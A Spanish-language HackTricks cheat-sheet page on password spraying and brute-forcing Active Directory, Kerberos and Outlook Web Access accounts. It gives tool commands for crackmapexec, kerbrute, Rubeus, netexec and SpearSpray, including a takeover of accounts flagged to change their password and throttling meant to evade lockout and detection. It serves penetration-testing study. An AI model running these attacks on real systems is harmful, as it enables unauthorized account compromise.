Password Spraying / Brute Force

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Password Spraying

Una vez que hayas encontrado varios nombres de usuario válidos puedes probar las contraseñas más comunes (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.
Por defecto la mínima longitud de contraseña es 7.

Lists of common usernames could also be useful: https://github.com/insidetrust/statistically-likely-usernames

Ten en cuenta que podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas (por defecto más de 10).

Obtener la política de contraseñas

Si tienes credenciales de usuario o un shell como usuario del dominio puedes obtener la política de contraseñas con:

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Explotación desde Linux (o desde cualquier sistema)

  • Usando crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (puedes indicar el número de intentos para evitar lockouts):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Usando kerbrute (python) - NO RECOMENDADO; A VECES NO FUNCIONA
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Con el módulo scanner/smb/smb_login de Metasploit:

  • Usando rpcclient:
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Desde Windows

  • Con Rubeus versión con el módulo brute:
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Con Invoke-DomainPasswordSpray (puede generar usuarios del dominio de forma predeterminada, obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo con ella):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Identificar y apoderarse de las cuentas "Password must change at next logon" (SAMR)

Una técnica de bajo ruido es hacer password spraying con una contraseña benigna/vacía y detectar cuentas que devuelven STATUS_PASSWORD_MUST_CHANGE, lo que indica que la contraseña fue forzosamente expirada y puede cambiarse sin conocer la anterior.

Flujo de trabajo:

  • Enumerar usuarios (RID brute via SAMR) para construir la lista de objetivos:

rpcclient enumeration

bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
  • Spray una contraseña vacía y sigue con los hits para capturar cuentas que deben cambiarla en el próximo logon:
bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
  • Para cada hit, cambia la password a través de SAMR con NetExec’s module (no se necesita old password cuando "must change" está establecido):
bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol

Notas operativas:

  • Asegúrate de que el reloj de tu host esté sincronizado con el DC antes de operaciones basadas en Kerberos: sudo ntpdate <dc_fqdn>.
  • Un [+] sin (Pwn3d!) en algunos módulos (p. ej., RDP/WinRM) significa que las creds son válidas pero la cuenta carece de derechos de inicio de sesión interactivo.

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Kerberos pre-auth–based spraying reduce el ruido frente a intentos SMB/NTLM/LDAP bind y se alinea mejor con las políticas de bloqueo de AD. SpearSpray combina targeting impulsado por LDAP, un motor de patrones y awareness de políticas (política de dominio + PSOs + buffer badPwdCount) para sprayar de forma precisa y segura. También puede etiquetar principals comprometidos en Neo4j para el pathing de BloodHound.

Ideas clave:

  • Descubrimiento de usuarios LDAP con paginación y soporte LDAPS, opcionalmente usando filtros LDAP personalizados.
  • Política de bloqueo de dominio + filtrado consciente de PSO para dejar un buffer configurable de intentos (umbral) y evitar bloquear usuarios.
  • Validación Kerberos pre-auth usando bindings gssapi rápidos (genera 4768/4771 en DCs en vez de 4625).
  • Generación de contraseñas por usuario basada en patrones usando variables como nombres y valores temporales derivados del pwdLastSet de cada usuario.
  • Control de throughput con threads, jitter y max requests por segundo.
  • Integración opcional con Neo4j para marcar usuarios propios para BloodHound.

Uso básico y descubrimiento:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Selección de objetivos y control de patrones:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

Controles de sigilo y seguridad:

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound enriquecimiento:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Descripción general del sistema de patrones (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Variables disponibles incluyen:

  • {name}, {samaccountname}
  • Valores temporales de pwdLastSet (o whenCreated) de cada usuario: {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Ayudantes de composición y token de la organización: {separator}, {suffix}, {extra}

Notas operativas:

  • Prefiere consultar el PDC-emulator con -dc para leer el badPwdCount más autoritativo y la info relacionada con la política.
  • Los reinicios de badPwdCount se activan en el siguiente intento después de la ventana de observación; usa umbrales y temporización para mantenerte seguro.
  • Los intentos de pre-auth de Kerberos aparecen como 4768/4771 en la telemetría del DC; usa jitter y rate-limiting para mimetizarte.

Consejo: SpearSpray’s default LDAP page size is 200; ajusta con -lps según sea necesario.

Outlook Web Access

Hay múltiples herramientas para password spraying outlook.

Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para password spraying.

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks